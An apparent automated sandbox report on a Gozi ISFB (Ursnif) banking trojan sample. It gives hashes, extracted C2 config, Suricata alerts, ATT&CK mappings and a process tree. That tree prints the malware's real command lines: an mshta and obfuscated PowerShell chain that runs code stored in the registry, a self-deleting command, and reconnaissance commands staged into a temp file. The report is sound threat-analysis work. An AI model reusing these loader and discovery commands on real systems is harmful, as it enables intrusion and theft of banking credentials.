gozi_ifsb | edb86e9c3d29b3d13c82562dc1aeb1cd7e2c33e2bfcbae30791bf1d1aaf4345f

Analysis

max time kernel
153s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
02/03/2022, 23:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
Size 2.5MB
Sample220302-3zkrjaachj
SHA256 edb86e9c3d29b3d13c82562dc1aeb1cd7e2c33e2bfcbae30791bf1d1aaf4345f
MD5 b545e2b0fdf47667624c08999c0b873e
SHA1 da6f23f5a9fbd123025d6a2b9cd39c2355b7345c
SHA512 908dc1ec45f023e649b9de0cc7cf32f2a02a404012cf78c393dce2b8064350a3ab1b8e541a920a6fdb94a17d05547ad77a1eda6a4e1c204472cf71749e71bda2
MD5 SHA1 SHA512

Score

10^/10

gozi_ifsb 20000 banker suricata trojan

Malware Config

Extracted

Family

gozi_ifsb

Botnet

20000

skype.com/signin
143.198.56.58

Attributes

base_path
/peer/
build
250225
exe_type
loader
extension
.prv
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi_ifsb

Botnet

20000

skype.com/login
143.198.56.58

Attributes

base_path
/images/
build
250225
exe_type
worker
extension
.prv
server_id
50

rsa_pubkey.plain

aes.plain

rsa_pubkey.plain

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon 3
suricata: ET MALWARE Ursnif Variant CnC Beacon 3
suricata
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 1712 set thread context of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 2392 set thread context of 2516	2392	powershell.exe	44
PID 2516 set thread context of 2548	2516	Explorer.EXE	90
PID 2516 set thread context of 3052	2516	Explorer.EXE	21
PID 2516 set thread context of 3164	2516	Explorer.EXE	41
PID 2516 set thread context of 3624	2516	Explorer.EXE	22
PID 2516 set thread context of 3852	2516	Explorer.EXE	26
PID 2548 set thread context of 464	2548	cmd.exe	93
PID 2516 set thread context of 2272	2516	Explorer.EXE	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 3 IoCs

discovery

Remote System Discovery

T1018

pid	Process
4060	net.exe
1416	net.exe
3088	net.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
3944	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1556	systeminfo.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
464	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
464	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
3812	RegAsm.exe
3812	RegAsm.exe
2392	powershell.exe
2392	powershell.exe
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2516	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
2392	powershell.exe
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2516	Explorer.EXE
2548	cmd.exe
2516	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeShutdownPrivilege	2516	Explorer.EXE
Token: SeCreatePagefilePrivilege	2516	Explorer.EXE
Token: SeShutdownPrivilege	2516	Explorer.EXE
Token: SeCreatePagefilePrivilege	2516	Explorer.EXE
Token: SeShutdownPrivilege	2516	Explorer.EXE
Token: SeCreatePagefilePrivilege	2516	Explorer.EXE
Token: SeDebugPrivilege	3944	tasklist.exe
Token: SeShutdownPrivilege	2516	Explorer.EXE
Token: SeCreatePagefilePrivilege	2516	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2516	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 1548	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	71
PID 1712 wrote to memory of 1548	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	71
PID 1712 wrote to memory of 1548	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	71
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 1712 wrote to memory of 3812	1712	SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe	72
PID 3536 wrote to memory of 2392	3536	mshta.exe	84
PID 3536 wrote to memory of 2392	3536	mshta.exe	84
PID 2392 wrote to memory of 1768	2392	powershell.exe	86
PID 2392 wrote to memory of 1768	2392	powershell.exe	86
PID 1768 wrote to memory of 3000	1768	csc.exe	87
PID 1768 wrote to memory of 3000	1768	csc.exe	87
PID 2392 wrote to memory of 3608	2392	powershell.exe	88
PID 2392 wrote to memory of 3608	2392	powershell.exe	88
PID 3608 wrote to memory of 1340	3608	csc.exe	89
PID 3608 wrote to memory of 1340	3608	csc.exe	89
PID 2392 wrote to memory of 2516	2392	powershell.exe	44
PID 2392 wrote to memory of 2516	2392	powershell.exe	44
PID 2392 wrote to memory of 2516	2392	powershell.exe	44
PID 2392 wrote to memory of 2516	2392	powershell.exe	44
PID 2516 wrote to memory of 2548	2516	Explorer.EXE	90
PID 2516 wrote to memory of 2548	2516	Explorer.EXE	90
PID 2516 wrote to memory of 2548	2516	Explorer.EXE	90
PID 2516 wrote to memory of 3052	2516	Explorer.EXE	21
PID 2516 wrote to memory of 3052	2516	Explorer.EXE	21
PID 2516 wrote to memory of 2548	2516	Explorer.EXE	90
PID 2516 wrote to memory of 2548	2516	Explorer.EXE	90
PID 2516 wrote to memory of 3052	2516	Explorer.EXE	21
PID 2516 wrote to memory of 3052	2516	Explorer.EXE	21
PID 2516 wrote to memory of 3164	2516	Explorer.EXE	41
PID 2516 wrote to memory of 3164	2516	Explorer.EXE	41
PID 2516 wrote to memory of 3164	2516	Explorer.EXE	41
PID 2516 wrote to memory of 3164	2516	Explorer.EXE	41
PID 2516 wrote to memory of 3624	2516	Explorer.EXE	22
PID 2516 wrote to memory of 3624	2516	Explorer.EXE	22
PID 2516 wrote to memory of 3624	2516	Explorer.EXE	22
PID 2516 wrote to memory of 3624	2516	Explorer.EXE	22
PID 2516 wrote to memory of 3852	2516	Explorer.EXE	26
PID 2516 wrote to memory of 3852	2516	Explorer.EXE	26
PID 2548 wrote to memory of 464	2548	cmd.exe	93
PID 2548 wrote to memory of 464	2548	cmd.exe	93
PID 2548 wrote to memory of 464	2548	cmd.exe	93
PID 2516 wrote to memory of 3852	2516	Explorer.EXE	26
PID 2516 wrote to memory of 3852	2516	Explorer.EXE	26
PID 2548 wrote to memory of 464	2548	cmd.exe	93
PID 2548 wrote to memory of 464	2548	cmd.exe	93
PID 2516 wrote to memory of 3212	2516	Explorer.EXE	95
PID 2516 wrote to memory of 3212	2516	Explorer.EXE	95
PID 3212 wrote to memory of 2276	3212	cmd.exe	96
PID 3212 wrote to memory of 2276	3212	cmd.exe	96
PID 2516 wrote to memory of 3884	2516	Explorer.EXE	97
PID 2516 wrote to memory of 3884	2516	Explorer.EXE	97
PID 2516 wrote to memory of 1984	2516	Explorer.EXE	99
PID 2516 wrote to memory of 1984	2516	Explorer.EXE	99
PID 1984 wrote to memory of 1556	1984	cmd.exe	101
PID 1984 wrote to memory of 1556	1984	cmd.exe	101

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3052

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3624

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3852

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3164

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe
  "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.Trojan.GVC.genEldorado.12191.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:1548
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3812
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ndnj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ndnj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\706C1470-0F15-22FF-19A4-B3765D18970A\\\JunkPack'));if(!window.flag)close()</script>"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name dsfoxitnvm -value gp; new-alias -name mbltpqfq -value iex; mbltpqfq ([System.Text.Encoding]::ASCII.GetString((dsfoxitnvm "HKCU:Software\AppDataLow\Software\Microsoft\706C1470-0F15-22FF-19A4-B3765D18970A").SystemDriver))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f5an0o0g\f5an0o0g.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES305A.tmp" "c:\Users\Admin\AppData\Local\Temp\f5an0o0g\CSCD2062FB87B0646C19B6C3850B53BFF6F.TMP"
        5⤵
        
        PID:3000
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zwzvyetj\zwzvyetj.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3608
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES31F1.tmp" "c:\Users\Admin\AppData\Local\Temp\zwzvyetj\CSCE03CA881A8B645E9BFE552947E319116.TMP"
        5⤵
        
        PID:1340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:464
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\B922.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:2276
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\B922.bi1"
  2⤵
  PID:3884
- C:\Windows\system32\cmd.exe
  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\systeminfo.exe
    systeminfo.exe
    3⤵
    - Gathers system information
    PID:1556
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:2272
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3592
- C:\Windows\system32\cmd.exe
  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3500
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:4060
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3604
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3572
- - C:\Windows\system32\nslookup.exe
    nslookup 127.0.0.1
    3⤵
    PID:3908
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:2024
- C:\Windows\system32\cmd.exe
  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:624
- - C:\Windows\system32\tasklist.exe
    tasklist.exe /SVC
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3600
- C:\Windows\system32\cmd.exe
  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:2272
- - C:\Windows\system32\driverquery.exe
    driverquery.exe
    3⤵
    PID:2840
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:2548
- C:\Windows\system32\cmd.exe
  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:672
- - C:\Windows\system32\reg.exe
    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:1440
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:740
- C:\Windows\system32\cmd.exe
  cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3360
- - C:\Windows\system32\net.exe
    net config workstation
    3⤵
    PID:2176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 config workstation
      4⤵
      PID:1824
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:944
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3480
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts
    3⤵
    PID:4092
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:2788
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:1228
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts /all_trusts
    3⤵
    PID:4004
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:1624
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3572
- - C:\Windows\system32\net.exe
    net view /all /domain
    3⤵
    - Discovers systems in the same network
    PID:1416
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3528
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:2252
- - C:\Windows\system32\net.exe
    net view /all
    3⤵
    - Discovers systems in the same network
    PID:3088
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:3944
- C:\Windows\system32\cmd.exe
  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\4B1.bin1 > C:\Users\Admin\AppData\Local\Temp\4B1.bin & del C:\Users\Admin\AppData\Local\Temp\4B1.bin1"
  2⤵
  PID:1912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/464-189-0x000001E8F99E0000-0x000001E8F9A86000-memory.dmp

Download

memory/464-188-0x000001E8F97B0000-0x000001E8F97B1000-memory.dmp

Download

memory/1712-133-0x0000000004F30000-0x0000000004FC2000-memory.dmp

Download

memory/1712-136-0x0000000005153000-0x0000000005155000-memory.dmp

Download

memory/1712-135-0x0000000004FE0000-0x0000000004FEA000-memory.dmp

Download

memory/1712-134-0x0000000005150000-0x0000000005151000-memory.dmp

Download

memory/1712-130-0x000000007499E000-0x000000007499F000-memory.dmp

Download

memory/1712-132-0x00000000055F0000-0x0000000005B94000-memory.dmp

Download

memory/1712-131-0x0000000000310000-0x0000000000590000-memory.dmp

Download

memory/2272-197-0x0000000003290000-0x0000000003329000-memory.dmp

Download

memory/2272-194-0x0000000000EE6B20-0x0000000000EE6B24-memory.dmp

Download

memory/2392-150-0x0000021B64C16000-0x0000021B64C18000-memory.dmp

Download

memory/2392-144-0x0000021B7DAF0000-0x0000021B7DB12000-memory.dmp

Download

memory/2392-147-0x00007FFE64E23000-0x00007FFE64E25000-memory.dmp

Download

memory/2392-148-0x0000021B64C10000-0x0000021B64C12000-memory.dmp

Download

memory/2392-163-0x0000021B7DF60000-0x0000021B7DF9E000-memory.dmp

Download

memory/2392-149-0x0000021B64C13000-0x0000021B64C15000-memory.dmp

Download

memory/2516-178-0x00000000086E0000-0x0000000008786000-memory.dmp

Download

memory/2516-177-0x0000000000AF0000-0x0000000000AF1000-memory.dmp

Download

memory/2548-176-0x0000021A6F470000-0x0000021A6F471000-memory.dmp

Download

memory/2548-179-0x0000021A6F670000-0x0000021A6F716000-memory.dmp

Download

memory/3052-181-0x0000022D9DCF0000-0x0000022D9DD96000-memory.dmp

Download

memory/3052-180-0x0000022D9DDA0000-0x0000022D9DDA1000-memory.dmp

Download

memory/3164-183-0x0000021FB0D20000-0x0000021FB0DC6000-memory.dmp

Download

memory/3164-182-0x0000021FB0DD0000-0x0000021FB0DD1000-memory.dmp

Download

memory/3624-184-0x00000244065C0000-0x00000244065C1000-memory.dmp

Download

memory/3624-185-0x0000024406EE0000-0x0000024406F86000-memory.dmp

Download

memory/3812-137-0x0000000000400000-0x000000000040D000-memory.dmp

Download

memory/3812-138-0x0000000000400000-0x000000000040D000-memory.dmp

Download

memory/3852-186-0x000002582CF10000-0x000002582CF11000-memory.dmp

Download

memory/3852-187-0x000002582E750000-0x000002582E7F6000-memory.dmp

Download